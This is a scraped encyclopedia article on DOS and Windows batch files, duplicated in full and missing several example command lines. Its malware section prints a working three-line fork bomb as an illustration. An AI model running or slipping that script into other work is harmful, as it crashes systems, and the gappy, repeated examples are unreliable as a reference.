The first filename extension used by Microsoft for batch files. This extension runs with DOS and all versions of Windows, under COMMAND.COM or cmd.exe, despite the different ways the two command interpreters execute batch files.
.cmd
Used for batch files in Windows NT family and sent to cmd.exe for interpretation. COMMAND.COM does not recognize this file name extension, so cmd.exe scripts are not executed in the wrong Windows environment by mistake. In addition, append, dpath, ftype, set, path, assoc and prompt commands, when executed from a .bat file, alter the value of the errorlevel variable only upon an error, whereas from within a .cmd file, they would affect errorlevel even when returning without an error.[3] It is also used by IBM’s OS/2 for batch files.
.btm
The extension used by 4DOS, 4OS2, 4NT and Take Command. These scripts are faster, especially with longer ones, as the script is loaded entirely ready for execution, rather than line-by-line.[4]

Batch file parameters[edit]

COMMAND.COM and cmd.exe support special variables (%0, %1 through %9) in order to refer to the path and name of the batch job and the first nine calling parameters from within the batch job, see also SHIFT. Non-existent parameters are replaced by a zero-length string. They can be used similar to environment variables, but are not stored in the environment. Microsoft and IBM refer to these variables as replacement parameters or replaceable parameters, whereas Digital Research, Novell and Caldera established the term replacement variables[5] for them. JP Software calls them batch file parameters.[6]

Examples[edit]

This example batch file displays Hello World!, prompts and waits for the user to press a key, and then terminates. (Note: It does not matter if commands are lowercase or uppercase unless working with variables)

@ECHO OFF
ECHO Hello World!
PAUSE

To execute the file, it must be saved with the filename extension suffix .bat (or .cmd for Windows NT-type operating systems) in plain text format, typically created by using a text editor such as Microsoft Notepad or a word processor working in plain text mode.

When executed, the following is displayed:

Hello World!
Press any key to continue . . .

Explanation[edit]

The interpreter executes each line in turn, starting with the first. The @ symbol at the start of any line prevents the prompt from displaying that command as it is executed. The command ECHO OFF turns off the prompt permanently, or until it is turned on again. The combined @ECHO OFF is often as here the first line of a batch file, preventing any commands from displaying, itself included. Then the next line is executed and the ECHO Hello World! command outputs Hello World!. The next line is executed and the PAUSE command displays Press any key to continue . . . and pauses the script’s execution. After a key is pressed, the script terminates, as there are no more commands. In Windows, if the script is executed from an already running command prompt window, the window remains open at the prompt as in MS-DOS; otherwise, the window closes on termination.

Limitations and exceptions[edit]

Null values in variables[edit]

Variable expansions are substituted textually into the command, and thus variables which contain nothing simply disappear from the syntax, and variables which contain spaces turn into multiple tokens. This can lead to syntax errors or bugs.

For example, if %foo% is empty, this statement:

parses as the erroneous construct:

Similarly, if %foo% contains abc def, then a different syntax error results:

IF abc def==bar ECHO Equal

The usual way to prevent this problem is to surround variable expansions in quotes so that an empty variable expands into the valid expression IF ""=="bar" instead of the invalid IF ==bar. The text that is being compared to the variable must also be enclosed in quotes, because the quotes are not special delimiting syntax; these characters represent themselves.

IF "%foo%"=="bar" ECHO Equal

The delayed !VARIABLE! expansion available in Windows 2000 and later may be used to avoid these syntactical errors. In this case, null or multi-word variables do not fail syntactically because the value is expanded after the IF command is parsed:

Another difference in Windows 2000 or higher is that an empty variable (undefined) is not substituted. As described in previous examples, previous batch interpreter behaviour would have resulted in an empty string. Example:

C:>set MyVar=
C:>echo %MyVar%
%MyVar%

C:>if "%MyVar%"=="" (echo MyVar is not defined) else (echo MyVar is %MyVar%)
MyVar is %MyVar%

Batch interpreters prior to Windows 2000 would have displayed result MyVar is not defined.

Quotation marks and spaces in passed strings[edit]

Unlike Unix/POSIX processes, which receive their command-line arguments already split up by the shell into an array of strings, a Windows process receives the entire command-line as a single string, via the GetCommandLine API function. As a result, each Windows application can implement its own parser to split the entire command line into arguments. Many applications and command-line tools have evolved their own syntax for doing that, and so there is no single convention for quoting or escaping metacharacters on Windows command lines.

  • For some commands, spaces are treated as delimiters that separate arguments, unless those spaces are enclosed by quotation marks. Various conventions exist of how quotation marks can be passed on to the application:
    • A widely used convention is implemented by the command-line parser built into the Microsoft Visual C++ runtime library in the CommandLineToArgvW function. It uses the convention that 2n backslashes followed by a quotation mark («) produce n backslashes followed by a begin/end quote, whereas (2n)+1 backslashes followed by a quotation mark again produce n backslashes followed by a quotation mark literal. The same convention is part of the .NET Framework specification.[7]
      • An undocumented aspect is that «» occurring in the middle of a quoted string produces a single quotation mark.[7] (A CRT change in 2008 [msvcr90] modified this undocumented handling of quotes.[8]) This is helpful for inserting a quotation mark in an argument without re-enabling interpretation of cmd metacharacters like |, & and >. (cmd does not recognize the usual « as escaping the quote. It re-enables these special meanings on seeing the quote, thinking the quotation has ended.)
    • Another convention is that a single quotation mark («) is not included as part of the string. However, an escaped quotation mark («»») can be part of the string.[citation needed]
    • Yet another common convention comes from the use of Cygwin-derived ported programs. It does not differentiate between backslashes occurring before or not before quotes. See glob (programming) § Windows and DOS for information on these alternative command-line parsers.[9]
    • Some important Windows commands, like cmd.exe and wscript.exe, use their own rules.[8]
  • For other commands, spaces are not treated as delimiters and therefore do not need quotation marks. If quotes are included they become part of the string. This applies to some built-in commands like echo.

Where a string contains quotation marks, and is to be inserted into another line of text that must also be enclosed in quotation marks, particular attention to the quoting mechanism is required:

C:>set foo="this string is enclosed in quotation marks"

C:>echo "test 1 %foo%"
"test 1 "this string is enclosed in quotation marks""

C:>eventcreate /T Warning /ID 1 /L System /SO "Source" /D "Example: %foo%"
ERROR: Invalid Argument/Option - 'string'.
Type "EVENTCREATE /?" for usage.

On Windows 2000 and later, the solution is to replace each occurrence of a quote character within a value by a series of three quote characters:

C:>set foo="this string is enclosed in quotes"

C:>set foo=%foo:"="""%

C:>echo "test 1 %foo%"
"test 1 """this string is enclosed in quotes""""

C:>eventcreate /T Warning /ID 1 /L System /SO "Source" /D "Example: %foo%"
SUCCESS: A 'Warning' type event is created in the 'Source' log/source.

Escaped characters in strings[edit]

Some characters, such as pipe (|) characters, have special meaning to the command line. They cannot be printed as text using the ECHO command unless escaped using the caret ^ symbol:

C:>Echo foo | bar
'bar' is not recognized as an internal or external command,
operable program or batch file.

C:>Echo foo ^| bar
foo | bar

However, escaping does not work as expected when inserting the escaped character into an environment variable. The variable ends up containing a live pipe command when merely echoed. It is necessary to escape both the caret itself and the escaped character for the character display as text in the variable:

C:>set foo=bar | baz
'baz' is not recognized as an internal or external command,
operable program or batch file.

C:>set foo=bar ^| bar
C:>echo %foo%
'baz' is not recognized as an internal or external command,
operable program or batch file.

C:>set foo=bar ^^^| baz
C:>echo %foo%
bar | baz

The delayed expansion available with or with in Windows 2000 and later may be used to show special characters stored in environment variables because the variable value is expanded after the command was parsed:

C:>cmd /V:ON
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:>set foo=bar ^| baz
C:>echo !foo!
bar | baz

Sleep or scripted delay[edit]

Until the TIMEOUT command was introduced with Windows Vista, there was no easy way to implement a timed pause, as the PAUSE command halts script activity indefinitely until any key is pressed.

Many workarounds were possible,[10] but generally only worked in some environments: The CHOICE command was not available in older DOS versions, PING was only available if TCP/IP was installed, and so on. No solution was available from Microsoft, but a number of small utility programs, could be installed from other sources. A commercial example would be the 1988 Norton Utilities Batch Enhancer (BE) command, where BE DELAY 18 would wait for 1 second, or the free 94-byte WAIT.COM[11] where WAIT 5 would wait for 5 seconds, then return control to the script. Most such programs are 16-bit .COM files, so are incompatible with 64-bit Windows.

Text output with stripped CR/LF[edit]

Normally, all printed text automatically has the control characters for carriage return (CR) and line feed (LF) appended to the end of each line.

  • batchtest.bat
    C:>batchtest.bat
    foo
    bar
    

It does not matter if the two echo commands share the same command line; the CR/LF codes are inserted to break the output onto separate lines:

C:>@echo Message 1&@echo Message 2
Message 1
Message 2

A trick discovered with Windows 2000 and later is to use the special prompt for input to output text without CR/LF trailing the text. In this example, the CR/LF does not follow Message 1, but does follow Line 2 and Line 3:

  • batchtest2.bat
    @echo off
    set /p ="Message 1"<nul
    echo Message 2
    echo Message 3
    
    C:>batchtest2.bat
    Message 1Message 2
    Message 3
    

This can be used to output data to a text file without CR/LF appended to the end:

C:>set /p ="Message 1"<nul >data.txt
C:>set /p ="Message 2"<nul >>data.txt
C:>set /p ="Message 3"<nul >>data.txt
C:>type data.txt
Message 1Message 2Message 3

However, there is no way to inject this stripped CR/LF prompt output directly into an environment variable.

Setting a Uniform Naming Convention (UNC) working directory from a shortcut[edit]

It is not possible to have a command prompt that uses a UNC path as the current working directory; e.g. \serversharedirectory

The command prompt requires the use of drive letters to assign a working directory, which makes running complex batch files stored on a server UNC share more difficult. While a batch file can be run from a UNC file path, the working directory default is C:WindowsSystem32.

In Windows 2000 and later, a workaround is to use the PUSHD and POPD command with command extensions.[nb 2]

If not enabled by default, command extensions can be temporarily enabled using the /E:ON switch for the command interpreter.

So to run a batch file on a UNC share, assign a temporary drive letter to the UNC share, and use the UNC share as the working directory of the batch file, a Windows shortcut can be constructed that looks like this:

  • Target:

The working directory attribute of this shortcut is ignored.

This also solves a problem related to User Account Control (UAC) on Windows Vista and newer. When an administrator is logged on and UAC is enabled, and they try to run a batch file as administrator from a network drive letter, using the right-click file context menu, the operation will unexpectedly fail. This is because the elevated UAC privileged account context does not have network drive letter assignments, and it is not possible to assign drive letters for the elevated context via the Explorer shell or logon scripts. However, by creating a shortcut to the batch file using the above PUSHD / POPD construct, and using the shortcut to run the batch file as administrator, the temporary drive letter will be created and removed in the elevated account context, and the batch file will function correctly.

The following syntax does correctly expand to the path of the current batch script.

%~dp0

UNC default paths are turned off by default as they used to crash older programs.[12]

The Dword registry value DisableUNCCheck at HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor[12] allows the default directory to be UNC. CD command will refuse to change but placing a UNC path in Default Directory in a shortcut to Cmd or by using the Start command. (C$ share is for administrators).

Character set[edit]

Batch files use an OEM character set, as defined by the computer, e.g. Code page 437. The non-ASCII parts of these are incompatible with the Unicode or Windows character sets otherwise used in Windows so care needs to be taken.[13] Non-English file names work only if entered through a DOS character set compatible editor. File names with characters outside this set do not work in batch files.

To get a command prompt with Unicode instead of Code page 437 or similar, one can use the cmd /U command. In such a command prompt, a batch file with Unicode filenames will work. Also one can use cmd /U to directly execute commands with Unicode as character set. For example, cmd /U /C dir > files.txt creates a file containing a directory listing with correct Windows characters, in the UTF-16LE encoding.

Batch viruses and malware[edit]

As with any other programming language, batch files can be used maliciously. Simple trojans and fork bombs are easily created, and batch files can do a form of DNS poisoning by modifying the hosts file. Batch viruses are possible, and can also spread themselves via USB flash drives by using Windows’ Autorun capability.[14]

The following command in a batch file will delete all the data in the current directory (folder) — without first asking for confirmation:

These three commands are a simple fork bomb that will continually replicate itself to deplete available system resources, slowing down or crashing the system:

:TOP
 start "" %0
 goto TOP

Other Windows scripting languages[edit]

The cmd.exe command processor that interprets .cmd files is supported in all 32- and 64-bit versions of Windows up to at least Windows 10. COMMAND.EXE, which interprets .BAT files, was supported in all 16- and 32-bit versions up to at least Windows 10.[nb 3]

There are other, later and more powerful, scripting languages available for Windows. However, these require the scripting language interpreter to be installed before they can be used:

  • Extended Batch Language (EBL) (.bat) — developed by Frank Canova as an ‘own-time’ project while working at IBM in 1982. It was subsequently sold by Seaware Corp as an interpreter and compiler primarily for DOS, but later for Windows.
  • KiXtart (.kix) — developed by a Microsoft employee in 1991, specifically to meet the need for commands useful in a network logon script while retaining the simple ‘feel’ of a .cmd file.
  • Windows Script Host (.vbs , .js and .wsf) — released by Microsoft in 1998, and consisting of cscript.exe and wscript.exe, runs scripts written in VBScript or JScript. It can run them in windowed mode (with the wscript.exe host) or in console-based mode (with the cscript.exe host). They have been a part of Windows since Windows 98.
  • PowerShell (.ps1) — released in 2006 by Microsoft and can operate with Windows XP (SP2/SP3) and later versions. PowerShell can operate both interactively (from a command-line interface) and also via saved scripts, and has a strong resemblance to Unix shells.[15]
  • Unix-style shell scripting languages can be used if a Unix compatibility tool, such as Cygwin, is installed.
  • Cross-platform scripting tools including Perl, Python, Ruby, Rexx, Node.js and PHP are available for Windows.

Script files run if the filename without extension is entered. There are rules of precedence governing interpretation of, say, DoThis if DoThis.com, DoThis.exe, DoThis.bat, DoThis.cmd, etc. exist; by default DoThis.com has highest priority. This default order may be modified in newer operating systems by the user-settable PATHEXT environment variable.

See also[edit]

  • List of DOS commands

Notes[edit]

  1. ^ To verify that COMMAND.COM remains available (in the WINDOWSSYSTEM32 directory), type COMMAND.COM at the 32-bit Windows 7 command prompt.
  2. ^ «If Command Extensions are enabled the PUSHD command accepts network paths in addition to the normal drive letter and path. If a network path is specified, PUSHD creates a temporary drive letter that points to that specified network resource and then change the current drive and directory, using the newly defined drive letter. Temporary drive letters are allocated from Z: on down, using the first unused drive letter found.» —The help for PUSHD in Windows 7
  3. ^ Availability of CMD.EXE and COMMAND.COM can be confirmed by invoking them in any version of Windows (COMMAND.COM not in 64-bit versions; probably only available in Windows 8 32-bit versions if installed with option to support 16-bit programs).

References[edit]

  1. ^ «Using batch files: Scripting; Management Services». Technet.microsoft.com. 2005-01-21. Retrieved 2012-11-30.
  2. ^ Henry-Stocker, Sandra (2007-07-18). «Use your Unix scripting skills to write a batch file». itworld.com. IT World. Retrieved 2018-06-13.
  3. ^ «Difference between bat and cmd | WWoIT — Wayne’s World of IT». waynes-world-it.blogspot.fr. 2012-11-15. Retrieved 2012-11-30.
  4. ^ «btm file extension :: all about the .btm file type». Cryer.co.uk. Retrieved 2012-11-30.
  5. ^ Caldera DR-DOS 7.02 User Guide, Caldera, Inc., 1998 [1993, 1997], archived from the original on 2016-11-05, retrieved 2013-08-10
  6. ^ Brothers, Hardin; Rawson, Tom; Conn, Rex C.; Paul, Matthias R.; Dye, Charles E.; Georgiev, Luchezar I. (2002-02-27). 4DOS 8.00 online help.
  7. ^ a b «.NET Core Runtime: System.Diagnostics.Process.Unix». GitHub. Retrieved 2020-02-11. Two consecutive double quotes inside an inQuotes region should result in a literal double quote (the parser is left in the inQuotes region). This behavior is not part of the spec of code:ParseArgumentsIntoList, but is compatible with CRT and .NET Framework.
  8. ^ a b Deley, David. «How Command Line Parameters Are Parsed».
  9. ^ «Child process documentation, section Windows Command Line, NodeJS PR #29576». GitHub. Retrieved 2020-02-11.
  10. ^ «How to do a delay», ericphelps.com
  11. ^ Utilities for DOS, linking to WAIT.ZIP (archive of WAIT.COM) and other programs
  12. ^ a b https://support.microsoft.com/en-us/kb/156276[dead link]
  13. ^ Chen, Raymond. «Keep your eye on the code page». Microsoft.
  14. ^ http://www.explorehacking.com/2011/01/batch-files-art-of-creating-viruses.html[bare URL]
  15. ^ «Windows PowerShell — Unix comes to Windows». Geekswithblogs.net. Retrieved 2012-11-30.

External links[edit]

  • Microsoft Windows XP Batch file reference
  • How Windows batch files work
  • Windows 10 batch file commands
  • FreeDOS’ FreeCOM : complete feature list
  • Windows Command Line Interface script programming links
  • scripting related information (also command line)
  • dbenham. «How does the Windows Command Interpreter (CMD.EXE) parse scripts?». Stack Overflow.
Batch file

Batch file icon.png
Filename extensions .bat, .cmd, .btm
Internet media type
  • application/bat
  • application/x-bat
  • application/x-msdos-program
  • text/plain
Type of format Scripting
Container for Scripts

A batch file is a script file in DOS, OS/2 and Microsoft Windows. It consists of a series of commands to be executed by the command-line interpreter, stored in a plain text file. A batch file may contain any command the interpreter accepts interactively and use constructs that enable conditional branching and looping within the batch file, such as IF, FOR, and GOTO labels. The term «batch» is from batch processing, meaning «non-interactive execution», though a batch file might not process a batch of multiple data.

Similar to Job Control Language (JCL), DCL and other systems on mainframe and minicomputer systems, batch files were added to ease the work required for certain regular tasks by allowing the user to set up a script to automate them. When a batch file is run, the shell program (usually COMMAND.COM or cmd.exe) reads the file and executes its commands, normally line-by-line.[1] Unix-like operating systems, such as Linux, have a similar, but more flexible, type of file called a shell script.[2]

The filename extension .bat is used in DOS and Windows. Windows NT and OS/2 also added .cmd. Batch files for other environments may have different extensions, e.g., .btm in 4DOS, 4OS2 and 4NT related shells.

The detailed handling of batch files has changed significantly between versions. Some of the detail in this article applies to all batch files, while other details apply only to certain versions.

Variants[edit]

DOS[edit]

In MS-DOS, a batch file can be started from the command-line interface by typing its name, followed by any required parameters and pressing the ↵ Enter key. When DOS loads, the file AUTOEXEC.BAT, when present, is automatically executed, so any commands that need to be run to set up the DOS environment may be placed in this file. Computer users would have the AUTOEXEC.BAT file set up the system date and time, initialize the DOS environment, load any resident programs or device drivers, or initialize network connections and assignments.

A .bat file name extension identifies a file containing commands that are executed by the command interpreter COMMAND.COM line by line, as if it were a list of commands entered manually, with some extra batch-file-specific commands for basic programming functionality, including a GOTO command for changing flow of line execution.

Early Windows[edit]

Microsoft Windows was introduced in 1985 as a graphical user interface-based (GUI) overlay on text-based operating systems and was designed to run on DOS. In order to start it, the WIN command was used, which could be added to the end of the AUTOEXEC.BAT file to allow automatic loading of Windows. In the earlier versions, one could run a .bat type file from Windows in the MS-DOS Prompt. Windows 3.1x and earlier, as well as Windows 9x invoked COMMAND.COM to run batch files.

OS/2[edit]

The IBM OS/2 operating system supported DOS-style batch files. It also included a version of REXX, a more advanced batch-file scripting language. IBM and Microsoft started developing this system, but during the construction of it broke up after a dispute; as a result of this, IBM referred to their DOS-like console shell without mention of Microsoft, naming it just DOS, although this seemingly made no difference with regard to the way batch files worked from COMMAND.COM.

OS/2’s batch file interpreter also supports an EXTPROC command. This passes the batch file to the program named on the EXTPROC file as a data file. The named program can be a script file; this is similar to the #! mechanism used by Unix-like operating systems.

Windows NT[edit]

Unlike Windows 98 and earlier, the Windows NT family of operating systems does not depend on MS-DOS. Windows NT introduced an enhanced 32-bit command interpreter (cmd.exe) that could execute scripts with either the .CMD or .BAT extension. Cmd.exe added additional commands, and implemented existing ones in a slightly different way, so that the same batch file (with different extension) might work differently with cmd.exe and COMMAND.COM. In most cases, operation is identical if the few unsupported commands are not used. Cmd.exe’s extensions to COMMAND.COM can be disabled for compatibility.

Microsoft released a version of cmd.exe for Windows 9x and ME called WIN95CMD to allow users of older versions of Windows to use certain cmd.exe-style batch files.

As of Windows 8, cmd.exe is the normal command interpreter for batch files; the older COMMAND.COM can be run as well in 32-bit versions of Windows able to run 16-bit programs.[nb 1]

Filename extensions[edit]

.bat
The first filename extension used by Microsoft for batch files. This extension runs with DOS and all versions of Windows, under COMMAND.COM or cmd.exe, despite the different ways the two command interpreters execute batch files.
.cmd
Used for batch files in Windows NT family and sent to cmd.exe for interpretation. COMMAND.COM does not recognize this file name extension, so cmd.exe scripts are not executed in the wrong Windows environment by mistake. In addition, append, dpath, ftype, set, path, assoc and prompt commands, when executed from a .bat file, alter the value of the errorlevel variable only upon an error, whereas from within a .cmd file, they would affect errorlevel even when returning without an error.[3] It is also used by IBM’s OS/2 for batch files.
.btm
The extension used by 4DOS, 4OS2, 4NT and Take Command. These scripts are faster, especially with longer ones, as the script is loaded entirely ready for execution, rather than line-by-line.[4]

Batch file parameters[edit]

COMMAND.COM and cmd.exe support special variables (%0, %1 through %9) in order to refer to the path and name of the batch job and the first nine calling parameters from within the batch job, see also SHIFT. Non-existent parameters are replaced by a zero-length string. They can be used similar to environment variables, but are not stored in the environment. Microsoft and IBM refer to these variables as replacement parameters or replaceable parameters, whereas Digital Research, Novell and Caldera established the term replacement variables[5] for them. JP Software calls them batch file parameters.[6]

Examples[edit]

This example batch file displays Hello World!, prompts and waits for the user to press a key, and then terminates. (Note: It does not matter if commands are lowercase or uppercase unless working with variables)

@ECHO OFF
ECHO Hello World!
PAUSE

To execute the file, it must be saved with the filename extension suffix .bat (or .cmd for Windows NT-type operating systems) in plain text format, typically created by using a text editor such as Microsoft Notepad or a word processor working in plain text mode.

When executed, the following is displayed:

Hello World!
Press any key to continue . . .

Explanation[edit]

The interpreter executes each line in turn, starting with the first. The @ symbol at the start of any line prevents the prompt from displaying that command as it is executed. The command ECHO OFF turns off the prompt permanently, or until it is turned on again. The combined @ECHO OFF is often as here the first line of a batch file, preventing any commands from displaying, itself included. Then the next line is executed and the ECHO Hello World! command outputs Hello World!. The next line is executed and the PAUSE command displays Press any key to continue . . . and pauses the script’s execution. After a key is pressed, the script terminates, as there are no more commands. In Windows, if the script is executed from an already running command prompt window, the window remains open at the prompt as in MS-DOS; otherwise, the window closes on termination.

Limitations and exceptions[edit]

Null values in variables[edit]

Variable expansions are substituted textually into the command, and thus variables which contain nothing simply disappear from the syntax, and variables which contain spaces turn into multiple tokens. This can lead to syntax errors or bugs.

For example, if %foo% is empty, this statement:

parses as the erroneous construct:

Similarly, if %foo% contains abc def, then a different syntax error results:

IF abc def==bar ECHO Equal

The usual way to prevent this problem is to surround variable expansions in quotes so that an empty variable expands into the valid expression IF ""=="bar" instead of the invalid IF ==bar. The text that is being compared to the variable must also be enclosed in quotes, because the quotes are not special delimiting syntax; these characters represent themselves.

IF "%foo%"=="bar" ECHO Equal

The delayed !VARIABLE! expansion available in Windows 2000 and later may be used to avoid these syntactical errors. In this case, null or multi-word variables do not fail syntactically because the value is expanded after the IF command is parsed:

Another difference in Windows 2000 or higher is that an empty variable (undefined) is not substituted. As described in previous examples, previous batch interpreter behaviour would have resulted in an empty string. Example:

C:>set MyVar=
C:>echo %MyVar%
%MyVar%

C:>if "%MyVar%"=="" (echo MyVar is not defined) else (echo MyVar is %MyVar%)
MyVar is %MyVar%

Batch interpreters prior to Windows 2000 would have displayed result MyVar is not defined.

Quotation marks and spaces in passed strings[edit]

Unlike Unix/POSIX processes, which receive their command-line arguments already split up by the shell into an array of strings, a Windows process receives the entire command-line as a single string, via the GetCommandLine API function. As a result, each Windows application can implement its own parser to split the entire command line into arguments. Many applications and command-line tools have evolved their own syntax for doing that, and so there is no single convention for quoting or escaping metacharacters on Windows command lines.

  • For some commands, spaces are treated as delimiters that separate arguments, unless those spaces are enclosed by quotation marks. Various conventions exist of how quotation marks can be passed on to the application:
    • A widely used convention is implemented by the command-line parser built into the Microsoft Visual C++ runtime library in the CommandLineToArgvW function. It uses the convention that 2n backslashes followed by a quotation mark («) produce n backslashes followed by a begin/end quote, whereas (2n)+1 backslashes followed by a quotation mark again produce n backslashes followed by a quotation mark literal. The same convention is part of the .NET Framework specification.[7]
      • An undocumented aspect is that «» occurring in the middle of a quoted string produces a single quotation mark.[7] (A CRT change in 2008 [msvcr90] modified this undocumented handling of quotes.[8]) This is helpful for inserting a quotation mark in an argument without re-enabling interpretation of cmd metacharacters like |, & and >. (cmd does not recognize the usual « as escaping the quote. It re-enables these special meanings on seeing the quote, thinking the quotation has ended.)
    • Another convention is that a single quotation mark («) is not included as part of the string. However, an escaped quotation mark («»») can be part of the string.[citation needed]
    • Yet another common convention comes from the use of Cygwin-derived ported programs. It does not differentiate between backslashes occurring before or not before quotes. See glob (programming) § Windows and DOS for information on these alternative command-line parsers.[9]
    • Some important Windows commands, like cmd.exe and wscript.exe, use their own rules.[8]
  • For other commands, spaces are not treated as delimiters and therefore do not need quotation marks. If quotes are included they become part of the string. This applies to some built-in commands like echo.

Where a string contains quotation marks, and is to be inserted into another line of text that must also be enclosed in quotation marks, particular attention to the quoting mechanism is required:

C:>set foo="this string is enclosed in quotation marks"

C:>echo "test 1 %foo%"
"test 1 "this string is enclosed in quotation marks""

C:>eventcreate /T Warning /ID 1 /L System /SO "Source" /D "Example: %foo%"
ERROR: Invalid Argument/Option - 'string'.
Type "EVENTCREATE /?" for usage.

On Windows 2000 and later, the solution is to replace each occurrence of a quote character within a value by a series of three quote characters:

C:>set foo="this string is enclosed in quotes"

C:>set foo=%foo:"="""%

C:>echo "test 1 %foo%"
"test 1 """this string is enclosed in quotes""""

C:>eventcreate /T Warning /ID 1 /L System /SO "Source" /D "Example: %foo%"
SUCCESS: A 'Warning' type event is created in the 'Source' log/source.

Escaped characters in strings[edit]

Some characters, such as pipe (|) characters, have special meaning to the command line. They cannot be printed as text using the ECHO command unless escaped using the caret ^ symbol:

C:>Echo foo | bar
'bar' is not recognized as an internal or external command,
operable program or batch file.

C:>Echo foo ^| bar
foo | bar

However, escaping does not work as expected when inserting the escaped character into an environment variable. The variable ends up containing a live pipe command when merely echoed. It is necessary to escape both the caret itself and the escaped character for the character display as text in the variable:

C:>set foo=bar | baz
'baz' is not recognized as an internal or external command,
operable program or batch file.

C:>set foo=bar ^| bar
C:>echo %foo%
'baz' is not recognized as an internal or external command,
operable program or batch file.

C:>set foo=bar ^^^| baz
C:>echo %foo%
bar | baz

The delayed expansion available with or with in Windows 2000 and later may be used to show special characters stored in environment variables because the variable value is expanded after the command was parsed:

C:>cmd /V:ON
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:>set foo=bar ^| baz
C:>echo !foo!
bar | baz

Sleep or scripted delay[edit]

Until the TIMEOUT command was introduced with Windows Vista, there was no easy way to implement a timed pause, as the PAUSE command halts script activity indefinitely until any key is pressed.

Many workarounds were possible,[10] but generally only worked in some environments: The CHOICE command was not available in older DOS versions, PING was only available if TCP/IP was installed, and so on. No solution was available from Microsoft, but a number of small utility programs, could be installed from other sources. A commercial example would be the 1988 Norton Utilities Batch Enhancer (BE) command, where BE DELAY 18 would wait for 1 second, or the free 94-byte WAIT.COM[11] where WAIT 5 would wait for 5 seconds, then return control to the script. Most such programs are 16-bit .COM files, so are incompatible with 64-bit Windows.

Text output with stripped CR/LF[edit]

Normally, all printed text automatically has the control characters for carriage return (CR) and line feed (LF) appended to the end of each line.

  • batchtest.bat
    C:>batchtest.bat
    foo
    bar
    

It does not matter if the two echo commands share the same command line; the CR/LF codes are inserted to break the output onto separate lines:

C:>@echo Message 1&@echo Message 2
Message 1
Message 2

A trick discovered with Windows 2000 and later is to use the special prompt for input to output text without CR/LF trailing the text. In this example, the CR/LF does not follow Message 1, but does follow Line 2 and Line 3:

  • batchtest2.bat
    @echo off
    set /p ="Message 1"<nul
    echo Message 2
    echo Message 3
    
    C:>batchtest2.bat
    Message 1Message 2
    Message 3
    

This can be used to output data to a text file without CR/LF appended to the end:

C:>set /p ="Message 1"<nul >data.txt
C:>set /p ="Message 2"<nul >>data.txt
C:>set /p ="Message 3"<nul >>data.txt
C:>type data.txt
Message 1Message 2Message 3

However, there is no way to inject this stripped CR/LF prompt output directly into an environment variable.

Setting a Uniform Naming Convention (UNC) working directory from a shortcut[edit]

It is not possible to have a command prompt that uses a UNC path as the current working directory; e.g. \serversharedirectory

The command prompt requires the use of drive letters to assign a working directory, which makes running complex batch files stored on a server UNC share more difficult. While a batch file can be run from a UNC file path, the working directory default is C:WindowsSystem32.

In Windows 2000 and later, a workaround is to use the PUSHD and POPD command with command extensions.[nb 2]

If not enabled by default, command extensions can be temporarily enabled using the /E:ON switch for the command interpreter.

So to run a batch file on a UNC share, assign a temporary drive letter to the UNC share, and use the UNC share as the working directory of the batch file, a Windows shortcut can be constructed that looks like this:

  • Target:

The working directory attribute of this shortcut is ignored.

This also solves a problem related to User Account Control (UAC) on Windows Vista and newer. When an administrator is logged on and UAC is enabled, and they try to run a batch file as administrator from a network drive letter, using the right-click file context menu, the operation will unexpectedly fail. This is because the elevated UAC privileged account context does not have network drive letter assignments, and it is not possible to assign drive letters for the elevated context via the Explorer shell or logon scripts. However, by creating a shortcut to the batch file using the above PUSHD / POPD construct, and using the shortcut to run the batch file as administrator, the temporary drive letter will be created and removed in the elevated account context, and the batch file will function correctly.

The following syntax does correctly expand to the path of the current batch script.

%~dp0

UNC default paths are turned off by default as they used to crash older programs.[12]

The Dword registry value DisableUNCCheck at HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor[12] allows the default directory to be UNC. CD command will refuse to change but placing a UNC path in Default Directory in a shortcut to Cmd or by using the Start command. (C$ share is for administrators).

Character set[edit]

Batch files use an OEM character set, as defined by the computer, e.g. Code page 437. The non-ASCII parts of these are incompatible with the Unicode or Windows character sets otherwise used in Windows so care needs to be taken.[13] Non-English file names work only if entered through a DOS character set compatible editor. File names with characters outside this set do not work in batch files.

To get a command prompt with Unicode instead of Code page 437 or similar, one can use the cmd /U command. In such a command prompt, a batch file with Unicode filenames will work. Also one can use cmd /U to directly execute commands with Unicode as character set. For example, cmd /U /C dir > files.txt creates a file containing a directory listing with correct Windows characters, in the UTF-16LE encoding.

Batch viruses and malware[edit]

As with any other programming language, batch files can be used maliciously. Simple trojans and fork bombs are easily created, and batch files can do a form of DNS poisoning by modifying the hosts file. Batch viruses are possible, and can also spread themselves via USB flash drives by using Windows’ Autorun capability.[14]

The following command in a batch file will delete all the data in the current directory (folder) — without first asking for confirmation:

These three commands are a simple fork bomb that will continually replicate itself to deplete available system resources, slowing down or crashing the system:

:TOP
 start "" %0
 goto TOP

Other Windows scripting languages[edit]

The cmd.exe command processor that interprets .cmd files is supported in all 32- and 64-bit versions of Windows up to at least Windows 10. COMMAND.EXE, which interprets .BAT files, was supported in all 16- and 32-bit versions up to at least Windows 10.[nb 3]

There are other, later and more powerful, scripting languages available for Windows. However, these require the scripting language interpreter to be installed before they can be used:

  • Extended Batch Language (EBL) (.bat) — developed by Frank Canova as an ‘own-time’ project while working at IBM in 1982. It was subsequently sold by Seaware Corp as an interpreter and compiler primarily for DOS, but later for Windows.
  • KiXtart (.kix) — developed by a Microsoft employee in 1991, specifically to meet the need for commands useful in a network logon script while retaining the simple ‘feel’ of a .cmd file.
  • Windows Script Host (.vbs , .js and .wsf) — released by Microsoft in 1998, and consisting of cscript.exe and wscript.exe, runs scripts written in VBScript or JScript. It can run them in windowed mode (with the wscript.exe host) or in console-based mode (with the cscript.exe host). They have been a part of Windows since Windows 98.
  • PowerShell (.ps1) — released in 2006 by Microsoft and can operate with Windows XP (SP2/SP3) and later versions. PowerShell can operate both interactively (from a command-line interface) and also via saved scripts, and has a strong resemblance to Unix shells.[15]
  • Unix-style shell scripting languages can be used if a Unix compatibility tool, such as Cygwin, is installed.
  • Cross-platform scripting tools including Perl, Python, Ruby, Rexx, Node.js and PHP are available for Windows.

Script files run if the filename without extension is entered. There are rules of precedence governing interpretation of, say, DoThis if DoThis.com, DoThis.exe, DoThis.bat, DoThis.cmd, etc. exist; by default DoThis.com has highest priority. This default order may be modified in newer operating systems by the user-settable PATHEXT environment variable.

